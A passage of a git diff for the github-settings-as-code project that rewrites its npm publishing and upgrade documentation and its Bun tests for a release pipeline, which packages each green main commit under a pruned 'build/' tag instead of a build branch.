with no registry and no build step on your side. -## One-time publishing setup - -For the owner, once. npm adds a trusted publisher only to a package that already exists, so the first version is published by hand from a maintainer machine with two-factor authentication; it is the only publish a person ever makes. - -1. From a clean checkout of `main`, build the library (`lib/pkg/` is built, not committed), stamp the version by hand, drop the `prepare` script as both CI publishers do, and publish under `next`. - The version is the manifest's next patch, then `-main.0.g`: the count 0 marks a publish without provenance (`.github/SECURITY.md` recognizes the hand publish by it), and the verdict places it by its sha like every other pre-release. - -```bash -bun install --frozen-lockfile && bun run build:lib -next_patch="$(bun -e 'const v = require("./.release-please-manifest.json")["."]; console.log(v.replace(/\d+$/, (p) => Number(p) + 1));')" -version="${next_patch}-main.0.g$(git rev-parse --short=7 HEAD)" -npm version "$version" --no-git-tag-version && npm pkg delete scripts.prepare -npm publish --access public --tag next -git checkout -- package.json -``` - -2. Check the dist-tags: `npm dist-tag ls @vivswan/github-settings-as-code` names the bootstrap version under both `next` and `latest`. The registry gives a package's first publish `latest` whatever `--tag` asked for, because a packument always carries that key (npm/registry REGISTRY-API.md, "dist-tags: an object with at least one key, latest"); the first release takes it over, since the stable publish job yields only to a newer release. -3. On npmjs.com, on the package's settings page, add a trusted publisher: GitHub Actions, owner `Vivswan`, repository `github-settings-as-code`, workflow filename `ci.yml` (the caller of both hooks), no environment. -4. Under publishing access, choose "Require two-factor authentication and disallow tokens", so the workflow's OIDC identity is the only thing that can publish. +## Publishing setup -Until step 3 is done, the release hook's `publish-npm` job fails and the GitHub release stays a draft, and `publish-next` fails the same way on the next green push; re-run the failed jobs once the publisher exists. +The package exists on the registry and every version on it is CI-published through the trusted publisher: GitHub Actions, owner `Vivswan`, repository `github-settings-as-code`, workflow `ci.yml` (the caller of both hooks), no environment. Publishing access is "Require two-factor authentication and disallow tokens", so the workflow's OIDC identity is the only thing that can publish; nothing is published by hand. diff --git a/docs/start/getting-started.md b/docs/start/getting-started.md index f2912369..f8ae208e 100644 --- a/docs/start/getting-started.md +++ b/docs/start/getting-started.md @@ -67,7 +67,7 @@ jobs: Each trigger earns its place. The push trigger runs the action on every reviewed change to the settings file: a check while `mode: check` is set, an apply once step 5 removes it. `workflow_dispatch` lets you run the action by hand from the Actions tab, which is how the first run happens. The schedule catches drift: in check mode a weekly run turns red when the live settings diverge from the file, and after the switch to apply it re-asserts the declared keys and reverts anything changed through the UI in the meantime (apply is convergent, see [Semantics](../reference/semantics.md)). -The `@v2` pin is the moving major tag, stable within its line; `@latest` is a moving tag on the packaged commit of the newest `main` source on the `build` branch (`main` itself is source-only), where breaking changes arrive unannounced, so keep production on the major pin; the tag exists from the first release cut on the `build` branch. +The `@v2` pin is the moving major tag, stable within its line; `@latest` is a moving tag on the packaged commit of the newest `main` commit (`main` itself is source-only), where breaking changes arrive unannounced, so keep production on the major pin. ## 4. Run check mode first diff --git a/docs/upgrading/README.md b/docs/upgrading/README.md index 95c5f69a..720559e9 100644 --- a/docs/upgrading/README.md +++ b/docs/upgrading/README.md @@ -14,7 +14,7 @@ One page per major version. A major is the only release that can change what an | `@vX.Y.Z` | Never | Byte-stable behavior; upgrade deliberately | | A commit SHA | Never | The same, for repositories that pin actions by digest | -Every version tag cut since the `build` branch exists points at a packaged commit on it carrying the built action, and those cut since the library joined it also carry the library build (`lib/pkg/`, what the npm package of the same version ships); the packaged commit records its source, the audited release commit on `main`, in a trailer, and a ruleset freezes the tag. The tags up to v2.0.0 point at release commits on `main` from when main still committed the bundle. Only the latest release is supported; fixes are not backported. +Every version tag cut after v2.0.0 points at a packaged commit carrying the built action and the library build (`lib/pkg/`, what the npm package of the same version ships); the packaged commit is the child of its source, the audited release commit on `main`, and a ruleset freezes the tag. The tags up to v2.0.0 point at release commits on `main` from when main still committed the bundle. Only the latest release is supported; fixes are not backported. ## The guides diff --git a/docs/upgrading/v2-to-v3.md b/docs/upgrading/v2-to-v3.md index 84bd1936..781a73ae 100644 --- a/docs/upgrading/v2-to-v3.md +++ b/docs/upgrading/v2-to-v3.md @@ -4,7 +4,7 @@ order: 20 # Upgrading from v2 to v3 -Twenty breaks (the ninth is for library consumers). One is silent (the fallback), so run `mode: check` before the first v3 apply. The changelog entry for 3.0.0 will carry the release-please footers in the [CHANGELOG](https://github.com/Vivswan/github-settings-as-code/blob/main/CHANGELOG.md). +Twenty-one breaks (the ninth is for library consumers, the last for anyone pinning a sha). One is silent (the fallback), so run `mode: check` before the first v3 apply. The changelog entry for 3.0.0 will carry the release-please footers in the [CHANGELOG](https://github.com/Vivswan/github-settings-as-code/blob/main/CHANGELOG.md). | Break | v2 | v3 | What the old form does now | |---|---|---|---| @@ -28,6 +28,7 @@ Twenty breaks (the ninth is for library consumers). One is silent (the fallback) | `GSAC_RETRY_BASE_MS` | `RETRY_BASE_MS`, undocumented | `GSAC_RETRY_BASE_MS`, in the inputs reference | No error: an unknown environment variable is ignored, so a harness setting the old name waits real seconds; [section 18](#18-gsac_retry_base_ms) | | The sealing key is read at apply time | Check mode read `GET .../secrets/public-key` and failed on a malformed key | The first sealed PUT reads it at apply | Check mode issues one request fewer per secret family; a malformed key fails at apply; [section 19](#19-the-sealing-key-is-read-at-apply-time) | | Environment secrets and variables plan through the shared engines | Their own wording | The engines' wording | Only a grep over the output notices; [section 20](#20-environment-secrets-and-variables-plan-through-the-shared-engines) | +| The `build` branch retires | Every green push appended a packaged commit to the `build` branch; `latest` and the release tags pointed into it | One packaged commit per `main` commit under the tag `build/.`, the ten newest kept; `latest`, `@v3`, and `vX.Y.Z` point at them; the branch is deleted once every consumer has repinned | A sha pin into the branch stops resolving when the branch goes; a pin taken from a build tag goes when ten newer commits have been packaged; [section 21](#21-the-build-branch-retires) says what to pin instead | ## 1. The defaults-file fallback @@ -300,6 +301,19 @@ Their lines are the engines' lines now: Repository variable operations (`actions_variables`, `agents_variables`) gain a describe line in failure prose (`creating Actions variable "X"`); nothing else moves. +## 21. The build branch retires + +Nothing lands on the `build` branch any more, and the owner deletes it once the migration is complete: the first `build/.` tags exist, `latest` points at a tagged packaged commit, and every known consumer of a sha on the branch has repinned to a release tag, `@v3`, or an npm version. Its ruleset is declared disabled in `.github/settings.local.yml` (the apply leaves an undeclared ruleset alone, so dropping the entry would keep the deletion rule live); after `git push origin --delete build` the owner removes that entry. Repin now: a `Vivswan/github-settings-as-code@` pin into the branch stops resolving when it goes. + +Every green push to `main` now mints one packaged commit, the main commit's child carrying the built action and library, under the tag `build/.` (the position is the commit's first-parent count on `main`). Each green push then prunes those tags to the ten newest: a tag goes once ten newer commits have been packaged, and GitHub may then collect its commit. + +| You pin | Lifetime | Do | +|---|---|---| +| `@v3` or `@latest` | Moves forward only, never deleted | Nothing | +| A release tag or its commit sha (`git rev-parse v3.0.0`) | Permanent | Nothing | +| A sha from the `build` branch | Until the owner deletes the branch | Repin to `@v3` or a release tag's commit now | +| A sha from a `build/*` tag | Until ten newer commits are packaged (the next merge, for an old tag) | Pin the release tag's commit or an npm version instead | + ## Order of operations 1. Rename any settings file whose path contains a comma, rename `undeclared` to `_undeclared` in every settings file, and move every other underscore key into a YAML comment; the v2 line accepts the old spellings only, so do all three together with the pin move. diff --git a/test/docs/post-green-workflow.test.ts b/test/docs/post-green-workflow.test.ts index 21ab754a..5332d939 100644 --- a/test/docs/post-green-workflow.test.ts +++ b/test/docs/post-green-workflow.test.ts @@ -1,4 +1,4 @@ -/** post-green.yml runs only from ci.yml's post-green slot, so neither the build branch nor npm is written from a +/** post-green.yml runs only from ci.yml's post-green slot, so neither a build tag, latest, nor npm is written from a * commit the all-green gate has not judged. */ import { describe, expect, test } from "bun:test"; @@ -69,7 +69,7 @@ const PUSH_PROBE = [ " exit 1", "else", ' echo "::warning::this run\'s token cannot push (the caller grants contents: read);" \\', - ' "the build branch and the latest tag were not advanced here (the release hook advances them on each release)." \\', + ' "this commit was not packaged and the latest tag was not moved here (the release hook packages each release and moves latest itself)." \\', ' "Raise the caller\'s ceiling to contents: write, or add a REPO_PLATFORM_TOKEN PAT secret" \\', ' "with Contents (read and write) on this repository, to publish every green push to @latest."', ' echo "proceed=false" >> "$GITHUB_OUTPUT"', @@ -174,7 +174,7 @@ const CALLER_EXPECTED: CallerContract = { }, }, { - name: "Check the token can push to build", + name: "Check the token can push", id: "token", uses: undefined, if: undefined, @@ -201,11 +201,11 @@ const CALLER_EXPECTED: CallerContract = { with: undefined, }, { - name: "Append this commit's packaged commit to build and point latest at the newest main source", + name: "Package this commit under its build tag, prune the window, and point latest at the newest main source", id: undefined, uses: undefined, if: PROCEED, - run: 'GITHUB_SHA="$SOURCE_SHA" bun .github/scripts/release-pipeline.ts advance-build', + run: 'GITHUB_SHA="$SOURCE_SHA" bun .github/scripts/release-pipeline.ts package-commit', env: { SOURCE_SHA: `\${{ inputs.sha }}`, RUN_URL: `\${{ github.server_url }}/\${{ github.repository }}/actions/runs/\${{ github.run_id }}`, @@ -335,7 +335,7 @@ function expectCallerContract(wf: Workflow): void { expect(callerContractOf(wf)).toEqual(CALLER_EXPECTED); } -describe("post-green.yml publishes the build branch", () => { +describe("post-green.yml packages the judged commit", () => { const wf = readWorkflow("post-green.yml"); test("two self-contained jobs, each gated on its probe, with the judged sha as the only input", () => { @@ -360,18 +360,18 @@ describe("post-green.yml publishes the build branch", () => { "jobs", ], [ - "a build step that runs the append without the token gate", + "a build step that runs the packaging without the token gate", (w) => { const step = must(w.jobs.build, "build job").steps?.at(-1); - must(step, "append step").if = undefined; + must(step, "packaging step").if = undefined; }, "jobs", ], [ - "a build job whose append runs another subcommand", + "a build job whose packaging runs another subcommand", (w) => { const step = must(w.jobs.build, "build job").steps?.at(-1); - must(step, "append step").run = + must(step, "packaging step").run = 'GITHUB_SHA="$SOURCE_SHA" bun .github/scripts/release-pipeline.ts package'; }, "jobs", @@ -505,7 +505,7 @@ describe("post-green.yml publishes the build branch", () => { "jobs", ], [ - "a shallow checkout, which advance-build refuses (fetch-depth gone)", + "a shallow checkout, which package-commit refuses (fetch-depth gone)", (w) => { const step = must(w.jobs.build, "build job").steps?.[0]; delete must(must(step, "checkout step").with, "checkout with")["fetch-depth"]; @@ -698,8 +698,8 @@ describe("the push probe under bash", () => { const probe = runProbe(run, "refused\n", 1, false); expect(probe.status).toBe(0); expect(probe.lines.filter((line) => line.startsWith("::"))).toEqual([ - "::warning::this run's token cannot push (the caller grants contents: read); the build branch " + - "and the latest tag were not advanced here (the release hook advances them on each release). " + + "::warning::this run's token cannot push (the caller grants contents: read); this commit was not " + + "packaged and the latest tag was not moved here (the release hook packages each release and moves latest itself). " + "Raise the caller's ceiling to contents: write, or add a REPO_PLATFORM_TOKEN PAT secret with " + "Contents (read and write) on this repository, to publish every green push to @latest.", ]); diff --git a/test/scripts/release-pipeline-build.test.ts b/test/scripts/release-pipeline-build.test.ts index 71f80412..d75f3f8b 100644 --- a/test/scripts/release-pipeline-build.test.ts +++ b/test/scripts/release-pipeline-build.test.ts @@ -1,1201 +1,927 @@ /** - * advanceBuild against the fixture repositories: the build chain only advances, latest follows the newest main - * source, and every interleaving with a rival run or a release-hook backfill lands where the topology says. + * packageCommit against the fixture repositories: every green main commit gets its own packaged commit under its + * build tag, latest moves forward alone, the window is pruned, and every interleaving with a rival run lands where + * the topology says whatever order the runs finish in. */ import { describe, expect, setDefaultTimeout, test } from "bun:test"; -import { execFileSync } from "node:child_process"; -import { mkdirSync, symlinkSync, writeFileSync } from "node:fs"; -import { dirname, join } from "node:path"; +import { existsSync } from "node:fs"; +import { join } from "node:path"; import { - advanceBuild, - PREPARATION_SCRIPTS, + KEPT_BUILD_TAGS, + movePointer, + packageCommit, packageRelease, - verifyPublishedRefs, + pruneBuildTags, + retagMajor, } from "../../.github/scripts/release-pipeline.js"; import { - appendedSha, - appendOf, - BOT_IDENTITY, - buildTip, + buildTagOf, + buildTags, builtFiles, checkoutOf, clone, commitAll, + createdSha, + createOf, + deleteOf, + expectPackage, FIXTURE_IDENTITY, type Fixture, git, - identityOf, installReleasePipelineFixture, - latestOf, + LATEST, latestTag, localIdentity, manifestJson, - PACKAGED_DIFF, + moveOf, + originHolds, PERMANENT, - type PushPlan, - parentOf, + PLANTED_PACKAGES, + packagedOf, + parentsOf, + plantCommit, + plantCommitIn, + positionOf, pushGreenCommit, remoteRef, - rivalChainCommit, - STRIPPED_SCRIPTS, + rivalPackage, seedFixture, - shallowChecker, - shouldStripManifest, - sourceTrailer, - stageBuild, - stripPrepare, - stripWorkflows, - TAG_PUSH, - treePaths, + shallowClone, + subcommand, withPushPlans, write, writeBuild, } from "./release-pipeline-fixture.js"; // Dozens of git spawns per test time out bun's 5s default under parallel machine load. -setDefaultTimeout(30_000); +setDefaultTimeout(60_000); installReleasePipelineFixture(); -describe("advanceBuild", () => { - const advanced = (tip: string): string => - `refs/heads/build: advanced to ${tip}; refs/tags/latest: moved to ${tip}`; +const RUN_URL = "https://example.invalid/actions/runs/7"; - test("the first advance creates build as the green commit's packaged commit, a root, and tags it latest; a rerun verifies both", () => { +/** A run's result with latest's reason left out: the pointer's sha and whether it moved are what the run did. */ +const outcome = (result: ReturnType) => ({ + created: result.created, + ref: result.ref, + commit: result.commit, + source: result.source, + pruned: result.pruned, + latest: { sha: result.latest.sha, changed: result.latest.changed }, +}); + +describe("packageCommit", () => { + test("the first green commit is packaged under its build tag as the commit's child and latest is created; a rerun verifies both and pushes nothing", () => { const fx = seedFixture(); - let result: ReturnType | undefined; + let result: ReturnType | undefined; const pushes = withPushPlans(fx, [], () => { - result = advanceBuild({ - cwd: fx.work, - sourceSha: fx.mergeSha, - runUrl: "https://example.invalid/actions/runs/7", - }); + result = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha, runUrl: RUN_URL }); }); - const tip = buildTip(fx); - expect(result).toEqual({ changed: true, buildSha: tip, latestSha: tip, reason: advanced(tip) }); - expect(pushes).toEqual([appendOf(tip), latestOf("", tip)]); - expect(latestTag(fx)).toBe(tip); - expect(parentOf(fx.origin, tip)).toBe(""); - expect(git(fx.origin, "diff", "--name-only", fx.mergeSha, tip)).toBe(PACKAGED_DIFF); - expect(git(fx.origin, "show", `${tip}:lib/index.js`)).toBe("packaged-bundle-bytes-1"); - expect(git(fx.origin, "show", `${tip}:lib/pkg/index.js`)).toBe( - "library-packaged-bundle-bytes-1", - ); - expect(git(fx.origin, "show", `${tip}:lib/pkg/index.d.ts`)).toBe( - "types-packaged-bundle-bytes-1", - ); - const body = git(fx.origin, "log", "-1", "--format=%B", tip); - expect(body).toContain(`build: main at ${git(fx.origin, "rev-parse", "--short", fx.mergeSha)}`); - expect(body).toContain("Workflow-run: https://example.invalid/actions/runs/7"); - expect(sourceTrailer(fx.origin, tip)).toBe(fx.mergeSha); - expect(identityOf(fx.origin, tip)).toBe(BOT_IDENTITY); + const ref = buildTagOf(fx, fx.mergeSha); + const packaged = packagedOf(fx, fx.mergeSha); + expect(result && outcome(result)).toEqual({ + created: true, + ref, + commit: packaged, + source: fx.mergeSha, + pruned: [], + latest: { sha: packaged, changed: true }, + }); + expect(ref).toBe(`refs/tags/build/2.${fx.mergeSha.slice(0, 7)}`); + expect(pushes).toEqual([createOf(packaged, ref), moveOf(LATEST, "", packaged)]); + expect(buildTags(fx)).toEqual([ref]); + expect(latestTag(fx)).toBe(packaged); + expectPackage(fx, packaged, fx.mergeSha, "packaged-bundle-bytes-1", RUN_URL); expect(localIdentity(fx.work)).toBe(FIXTURE_IDENTITY); expect(git(fx.work, "rev-parse", "HEAD")).toBe(fx.mergeSha); expect(git(fx.work, "status", "--porcelain")).toBe(""); - const rerun = checkoutOf(fx, "build-rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); - let again: ReturnType | undefined; + const rerun = checkoutOf(fx, "rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); + let again: ReturnType | undefined; const rerunPushes = withPushPlans(fx, [], () => { - again = advanceBuild({ cwd: rerun, sourceSha: fx.mergeSha }); + again = packageCommit({ cwd: rerun, sourceSha: fx.mergeSha }); }); - expect(again).toEqual({ - changed: false, - buildSha: tip, - latestSha: tip, - reason: `refs/heads/build already packages ${fx.mergeSha} at ${tip}; refs/tags/latest already at ${tip}`, + expect(again && outcome(again)).toEqual({ + created: false, + ref, + commit: packaged, + source: fx.mergeSha, + pruned: [], + latest: { sha: packaged, changed: false }, }); expect(rerunPushes).toEqual([]); - expect(buildTip(fx)).toBe(tip); - expect(latestTag(fx)).toBe(tip); + expect(buildTags(fx)).toEqual([ref]); + expect(latestTag(fx)).toBe(packaged); }); - test("a newer green commit appends a fast-forward child of the previous tip and latest follows", () => { + test("a newer commit's run moves latest forward under a lease on the value it read; a run for the older commit after it leaves latest there", () => { const fx = seedFixture(); - const first = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha; - // The stale checkout is cloned BEFORE the newer commit exists: it must learn that commit from origin to see build as already past. - const stale = checkoutOf(fx, "build-stale", fx.mergeSha, "packaged-bundle-bytes-1\n"); + const first = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }).commit; + // Cloned BEFORE the newer commit exists: the stale run must learn it from origin. + const stale = checkoutOf(fx, "stale", fx.mergeSha, "packaged-bundle-bytes-1\n"); const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - let second: ReturnType | undefined; + let second: ReturnType | undefined; const pushes = withPushPlans(fx, [], () => { - second = advanceBuild({ cwd: next.dir, sourceSha: next.sha }); + second = packageCommit({ cwd: next.dir, sourceSha: next.sha }); + }); + const packaged = packagedOf(fx, next.sha); + expect(second && outcome(second)).toEqual({ + created: true, + ref: buildTagOf(fx, next.sha), + commit: packaged, + source: next.sha, + pruned: [], + latest: { sha: packaged, changed: true }, }); - const tip = buildTip(fx); - expect(second).toEqual({ changed: true, buildSha: tip, latestSha: tip, reason: advanced(tip) }); - expect(pushes).toEqual([appendOf(tip), latestOf(first, tip)]); - expect(latestTag(fx)).toBe(tip); - expect(git(fx.origin, "rev-parse", `${tip}^`)).toBe(first); - expect(git(fx.origin, "diff", "--name-only", next.sha, tip)).toBe(PACKAGED_DIFF); - expect(git(fx.origin, "show", `${tip}:lib/index.js`)).toBe("packaged-bundle-bytes-2"); - expect(git(fx.origin, "show", `${tip}:src/marker.ts`)).toBe( + expect(pushes).toEqual([ + createOf(packaged, buildTagOf(fx, next.sha)), + moveOf(LATEST, first, packaged), + ]); + expect(parentsOf(fx.origin, packaged)).toEqual([next.sha]); + expect(git(fx.origin, "show", `${packaged}:src/marker.ts`)).toBe( 'export const marker = "second-green";', ); - expect(sourceTrailer(fx.origin, tip)).toBe(next.sha); - let staleResult: ReturnType | undefined; + let staleResult: ReturnType | undefined; const stalePushes = withPushPlans(fx, [], () => { - staleResult = advanceBuild({ cwd: stale, sourceSha: fx.mergeSha }); + staleResult = packageCommit({ cwd: stale, sourceSha: fx.mergeSha }); }); - expect(staleResult).toEqual({ - changed: false, - buildSha: first, - latestSha: tip, - reason: `refs/heads/build already packages ${fx.mergeSha} at ${first}; refs/tags/latest already at ${tip}`, + expect(staleResult && outcome(staleResult)).toEqual({ + created: false, + ref: buildTagOf(fx, fx.mergeSha), + commit: first, + source: fx.mergeSha, + pruned: [], + latest: { sha: packaged, changed: false }, }); expect(stalePushes).toEqual([]); - expect(buildTip(fx)).toBe(tip); - expect(latestTag(fx)).toBe(tip); + expect(latestTag(fx)).toBe(packaged); }); - test("a chain commit carries the source without its workflows, and a workflow change between two appends pushes cleanly", () => { - const fx = seedFixture(); - const first = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha; - const paths = treePaths(fx.origin, first); - expect(paths.filter((path) => path.startsWith(".github/workflows/"))).toEqual([]); - expect(paths).toContain(".github/dependabot.yml"); - expect(paths).toContain("lib/index.js"); - expect(paths).toContain("lib/pkg/index.js"); - // GitHub judges a token's workflow-push refusal per push, so a workflow change between two appends is the shape the fixture can pin: the chain - // commit carries neither workflow. - const dir = clone(fx.root, fx.origin, "workflow-change"); - write(dir, ".github/workflows/ci.yml", "name: ci\non: [push, pull_request]\njobs: {}\n"); - write(dir, ".github/workflows/nightly.yml", "name: nightly\non: schedule\njobs: {}\n"); - const sha = commitAll(dir, "ci: change the workflows"); - git(dir, "push", "--quiet", "origin", "HEAD:refs/heads/main"); - writeBuild(dir, "packaged-bundle-bytes-2\n"); - const second = advanceBuild({ cwd: dir, sourceSha: sha }); - expect(second.changed).toBe(true); - expect(parentOf(fx.origin, second.buildSha)).toBe(first); - expect( - treePaths(fx.origin, second.buildSha).filter((path) => path.startsWith(".github/workflows/")), - ).toEqual([]); - expect(git(fx.origin, "diff", "--name-only", sha, second.buildSha)).toBe( - ".github/workflows/ci.yml\n.github/workflows/nightly.yml\nlib/index.js\nlib/pkg/index.d.ts\nlib/pkg/index.js\npackage.json", - ); + /** Origin's consumable state with the commit shas abstracted away: the tags by position and tree, latest by the + * source it packages and its tree. Two fixtures seeded alike hold the same trees, so the same state means the + * same outcome. */ + function consumableState(fx: Fixture): unknown { + return { + tags: buildTags(fx).map((ref) => ({ + position: Number(ref.match(/build\/(\d+)\./)?.[1]), + tree: git(fx.origin, "rev-parse", `${ref}^{tree}`), + packages: positionOf( + fx, + parentsOf(fx.origin, git(fx.origin, "rev-parse", `${ref}^{}`))[0] ?? "", + ), + })), + latest: { + packages: positionOf(fx, parentsOf(fx.origin, latestTag(fx))[0] ?? ""), + isBuildTagCommit: buildTags(fx).some( + (ref) => git(fx.origin, "rev-parse", `${ref}^{}`) === latestTag(fx), + ), + tree: git(fx.origin, "rev-parse", `${latestTag(fx)}^{tree}`), + }, + }; + } + + test("two commits' runs end in the same state whichever finishes first", () => { + const inOrder = seedFixture(); + const b = pushGreenCommit(inOrder, "second-green", "packaged-bundle-bytes-2\n"); + packageCommit({ cwd: inOrder.work, sourceSha: inOrder.mergeSha }); + packageCommit({ cwd: b.dir, sourceSha: b.sha }); + + const reversed = seedFixture(); + const b2 = pushGreenCommit(reversed, "second-green", "packaged-bundle-bytes-2\n"); + const aRun = checkoutOf(reversed, "a-late", reversed.mergeSha, "packaged-bundle-bytes-1\n"); + packageCommit({ cwd: b2.dir, sourceSha: b2.sha }); + const late = packageCommit({ cwd: aRun, sourceSha: reversed.mergeSha }); + + expect(late.created).toBe(true); + expect(late.latest).toMatchObject({ sha: packagedOf(reversed, b2.sha), changed: false }); + expect(consumableState(reversed)).toEqual(consumableState(inOrder)); + expect(consumableState(inOrder)).toEqual({ + tags: [ + { position: 2, tree: expect.stringMatching(/^[0-9a-f]{40}$/), packages: 2 }, + { position: 3, tree: expect.stringMatching(/^[0-9a-f]{40}$/), packages: 3 }, + ], + latest: { + packages: 3, + isBuildTagCommit: true, + tree: expect.stringMatching(/^[0-9a-f]{40}$/), + }, + }); }); - test("a stale rerun of a commit build skipped finds build already past it and appends nothing", () => { + test("a rerun whose build differs from the tag's stops loudly, naming both trees, and pushes nothing", () => { const fx = seedFixture(); - advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); - const skipped = pushGreenCommit(fx, "skipped-green", "packaged-bundle-bytes-2\n"); - const third = pushGreenCommit(fx, "third-green", "packaged-bundle-bytes-3\n"); - const tip = advanceBuild({ cwd: third.dir, sourceSha: third.sha }).buildSha; - let result: ReturnType | undefined; + packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }); + const ref = buildTagOf(fx, fx.mergeSha); + const packaged = packagedOf(fx, fx.mergeSha); + const rerun = checkoutOf(fx, "rerun-drift", fx.mergeSha, "DIFFERENT-bytes\n"); + let error: unknown; const pushes = withPushPlans(fx, [], () => { - result = advanceBuild({ cwd: skipped.dir, sourceSha: skipped.sha }); - }); - expect(result).toEqual({ - changed: false, - buildSha: tip, - latestSha: tip, - reason: `refs/heads/build is already past ${skipped.sha} (built from ${third.sha}); the newer run advanced it; refs/tags/latest already at ${tip}`, + try { + packageCommit({ cwd: rerun, sourceSha: fx.mergeSha }); + } catch (thrown) { + error = thrown; + } }); + expect(String((error as Error).message)).toMatch( + new RegExp( + `^${ref} \\(${packaged}\\) packages ${fx.mergeSha}, but its tree [0-9a-f]{40} is not the tree [0-9a-f]{40} ` + + "this checkout's build packages, so the two differ under lib/index\\.js and lib/pkg/.*Diff the two trees by hand; " + + "no run replaces a packaged commit it did not mint; if the build is wrong, delete the tag by hand and rerun\\.$", + ), + ); expect(pushes).toEqual([]); - expect(buildTip(fx)).toBe(tip); + expect(packagedOf(fx, fx.mergeSha)).toBe(packaged); + expect(latestTag(fx)).toBe(packaged); }); - function plantLatest( - fx: Fixture, - name: string, - source: string, - parent: string, - files: Record, - ): string { - const planter = clone(fx.root, fx.origin, name); - git(planter, "checkout", "--quiet", source); - stripWorkflows(planter); - writeBuild(planter, "planted\n"); - stageBuild(planter); - stripPrepare(planter); - for (const [file, content] of Object.entries(files)) { - write(planter, file, content); - git(planter, "add", "-f", file); - } - const planted = git( - planter, - "commit-tree", - git(planter, "write-tree"), - "-p", - parent, - "-m", - "build: by hand", - "-m", - `Source: ${source}`, - ); - git(planter, "push", "--quiet", "--force", "origin", `${planted}:refs/tags/latest`); - return planted; - } - - const plantedNewer: [string, (fx: Fixture, tip: string, newer: string) => string][] = [ - [ - "a tampered tree", - (fx, tip, newer) => - plantLatest(fx, "latest-newer-tampered", newer, tip, { - "action.yml": "name: tampered\n", - }), - ], - [ - "a pure package that is not on build", - (fx, _tip, newer) => plantLatest(fx, "latest-newer-detached", newer, newer, {}), - ], - ]; - test.each(plantedNewer)( - "a hand-planted latest naming a newer source with %s is replaced by this run's target", + test.each(PLANTED_PACKAGES)( + "a hand-planted build tag that is %s stops the run and stays put", (_name, plant) => { const fx = seedFixture(); - const tip = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha; - // The newer main commit is not packaged yet, so its Source trailer alone would read as "newer, leave it". - const newer = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - const planted = plant(fx, tip, newer.sha); - expect(latestTag(fx)).toBe(planted); - const rerun = checkoutOf(fx, "latest-rerun", fx.mergeSha, "packaged-bundle-bytes-1\n"); - let result: ReturnType | undefined; + const { from, sha, error } = plant(fx); + const ref = buildTagOf(fx, fx.mergeSha); + git(from, "push", "--quiet", "origin", `${sha}:${ref}`); + let thrown: unknown; const pushes = withPushPlans(fx, [], () => { - result = advanceBuild({ cwd: rerun, sourceSha: fx.mergeSha }); - }); - expect(result).toEqual({ - changed: false, - buildSha: tip, - latestSha: tip, - reason: `refs/heads/build already packages ${fx.mergeSha} at ${tip}; refs/tags/latest: moved to ${tip}`, + try { + packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }); + } catch (caught) { + thrown = caught; + } }); - expect(pushes).toEqual([latestOf(planted, tip)]); - expect(latestTag(fx)).toBe(tip); + const message = String((thrown as Error).message); + expect(message).toMatch(error); + expect(message.startsWith(`${ref} (${sha})`)).toBe(true); + expect( + message.endsWith( + "no run replaces a packaged commit it did not mint; if the build is wrong, delete the tag by hand and rerun.", + ), + ).toBe(true); + expect(pushes).toEqual([]); + expect(git(fx.origin, "rev-parse", `${ref}^{}`)).toBe(sha); + expect(remoteRef(fx, LATEST)).toBe(""); }, ); - test("a latest fifty-one chain commits behind the tip is left alone", () => { + test("a rival run creating the tag between the read and the push is verified, and its commit is what latest names", () => { const fx = seedFixture(); - const kept = advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }).buildSha; - // Rolling latest back to the older tip would be wrong however long the backfill chain. - const filler = clone(fx.root, fx.origin, "latest-filler"); - git(filler, "checkout", "--quiet", fx.seedSha); - stripWorkflows(filler); - writeBuild(filler, "packaged-bundle-bytes-0\n"); - stageBuild(filler); - stripPrepare(filler); - const tree = git(filler, "write-tree"); - let tip = kept; - for (let n = 0; n < 51; n++) { - tip = git( - filler, - "commit-tree", - tree, - "-p", - tip, - "-m", - `build: backfill ${n}`, - "-m", - `Source: ${fx.seedSha}`, - ); - } - git(filler, "push", "--quiet", "origin", `${tip}:refs/heads/build`); - const rerun = checkoutOf(fx, "latest-deep", fx.seedSha, "packaged-bundle-bytes-0\n"); - let result: ReturnType | undefined; - const pushes = withPushPlans(fx, [], () => { - result = advanceBuild({ cwd: rerun, sourceSha: fx.seedSha }); - }); - expect(result).toEqual({ - changed: false, - buildSha: tip, - latestSha: kept, - reason: `refs/heads/build already packages ${fx.seedSha} at ${tip}; refs/tags/latest already at ${kept}`, + const ref = buildTagOf(fx, fx.mergeSha); + const rival = rivalPackage(fx, "rival-same", fx.mergeSha, "packaged-bundle-bytes-1\n"); + let result: ReturnType | undefined; + const pushes = withPushPlans( + fx, + [{ competitor: { from: rival.from, sha: rival.sha, ref } }], + () => { + result = packageCommit({ cwd: fx.work, sourceSha: fx.mergeSha }); + }, + ); + expect(result && outcome(result)).toEqual({ + created: false, + ref, + commit: rival.sha, + source: fx.mergeSha, + pruned: [], + latest: { sha: rival.sha, changed: true }, }); - expect(pushes).toEqual([]); - expect(latestTag(fx)).toBe(kept); + const rejected = createdSha(pushes[0] ?? []); + expect(rejected).not.toBe(rival.sha); + expect(pushes).toEqual([createOf(rejected, ref), moveOf(LATEST, "", rival.sha)]); + expect(packagedOf(fx, fx.mergeSha)).toBe(rival.sha); + expect(latestTag(fx)).toBe(rival.sha); }); - test("an annotated latest on a valid newer chain commit is left alone by a stale rerun", () => { + test("a rival run creating the tag with a build this checkout does not reproduce stops the run", () => { const fx = seedFixture(); - advanceBuild({ cwd: fx.work, sourceSha: fx.mergeSha }); - const next = pushGreenCommit(fx, "second-green", "packaged-bundle-bytes-2\n"); - const newer = advanceBuild({ cwd: next.dir, sourceSha: next.sha }).buildSha; - // latest is re-made by hand as an ANNOTATED tag (its id is a tag object) at the newer commit. - const backfill = rivalChainCommit( + const ref = buildTagOf(fx, 